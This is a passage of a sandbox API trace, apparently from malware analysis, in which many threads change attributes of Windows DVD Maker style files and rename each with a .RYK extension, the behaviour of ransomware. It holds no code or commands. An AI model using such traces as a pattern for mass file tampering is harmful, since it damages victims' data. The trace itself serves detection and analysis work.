	[0180.553] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.688] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 878
	os_tid = 0x11fc

	[0180.413] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0180.554] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.687] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.687] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 879
	os_tid = 0x6a8

	[0180.414] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv", dwFileAttributes=0x80) returned 0
	[0180.554] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.685] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 880
	os_tid = 0xc58

	[0180.415] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0180.555] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.684] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 881
	os_tid = 0xe5c

	[0180.417] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv", dwFileAttributes=0x80) returned 0
	[0180.555] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.682] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 882
	os_tid = 0xed4

	[0180.418] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0180.556] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.556] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.556] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 883
	os_tid = 0x7b8

	[0180.908] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png", dwFileAttributes=0x80) returned 0
	[0180.908] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.909] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 884
	os_tid = 0x11f8

	[0180.910] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png", dwFileAttributes=0x80) returned 0
	[0180.910] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.910] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.910] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 885
	os_tid = 0x11e4

	[0180.911] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png", dwFileAttributes=0x80) returned 0
	[0180.911] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.912] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.912] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 886
	os_tid = 0x114c

	[0180.914] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0181.159] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.159] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.160] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 887
	os_tid = 0xa38

	[0180.918] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0181.161] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.161] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.161] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 888
	os_tid = 0x130

	[0180.920] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png", dwFileAttributes=0x80) returned 0
	[0181.162] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.163] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 889
	os_tid = 0x1e4

	[0181.477] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0181.477] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.477] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.477] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 890
	os_tid = 0x7c0

	[0181.478] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png", dwFileAttributes=0x80) returned 0
	[0181.479] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.479] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 891
	os_tid = 0xc4

	[0181.480] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0181.480] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.481] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 892
	os_tid = 0x90

	[0181.482] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0181.482] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.482] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.482] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 893
	os_tid = 0x20c

	[0181.483] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0181.483] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.484] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.484] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 894
	os_tid = 0x230

	[0181.485] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0181.485] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.485] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 895
	os_tid = 0x394

	[0181.487] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0181.487] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.487] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.487] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 896
	os_tid = 0x480

	[0181.488] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0181.488] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.488] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 897
	os_tid = 0x1c0

	[0181.490] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png", dwFileAttributes=0x80) returned 0
	[0181.490] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.490] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.490] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 898
	os_tid = 0x364

	[0181.491] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png", dwFileAttributes=0x80) returned 0
	[0181.492] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.492] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 899
	os_tid = 0x328

	[0181.742] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png", dwFileAttributes=0x80) returned 0
	[0181.748] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.759] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.759] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 900
	os_tid = 0xb9c

	[0181.765] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png", dwFileAttributes=0x80) returned 0
	[0181.771] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.781] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 901
	os_tid = 0x1148

	[0181.788] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0181.788] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
